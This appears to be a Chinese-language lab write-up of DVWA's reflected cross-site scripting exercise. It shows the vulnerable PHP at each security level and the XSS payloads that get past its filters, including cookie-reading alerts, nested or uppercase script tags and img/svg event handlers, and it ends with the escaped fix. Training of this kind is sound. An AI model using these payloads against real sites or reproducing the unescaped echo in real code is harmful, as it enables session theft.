DVWA之Reflected Cross Site Scripting (XSS)
嵌入网页
中间为所嵌入的网页,可调整宽高与边框(frameborder),全设为0即可消除边框
1.LOW级别
1.PHP代码分析
我们可以通过 View Source获得代码如下
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
发现此时没有任何过滤,直接写
<script>alert('hi')</script>//测试是否有xss漏洞
<script>alert(document.cookie)</script>//获取cookie
二 MEDIUM级别
1.PHP代码分析
1.PHP代码分析
我们可以通过 View Source获得代码如下
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
str_replace将< script >替换为空白
<scri<script>pt>alert('hi')</script>
<SCRIPT>alert('hi')</SCRIPT>
<img src=1 one rror=alert('hi')>
cookie获取同上
三 HIGH级别
1.PHP代码分析
我们可以通过 View Source获得代码如下
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
对script有一个正则的替换,但是script的写入用图片事件,和Svg事件也是可以的。
<img src = 1 one rror = alert('hi')>
<svg onl oad=alert('hi')>
四 IMPOSSIBLE级别
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>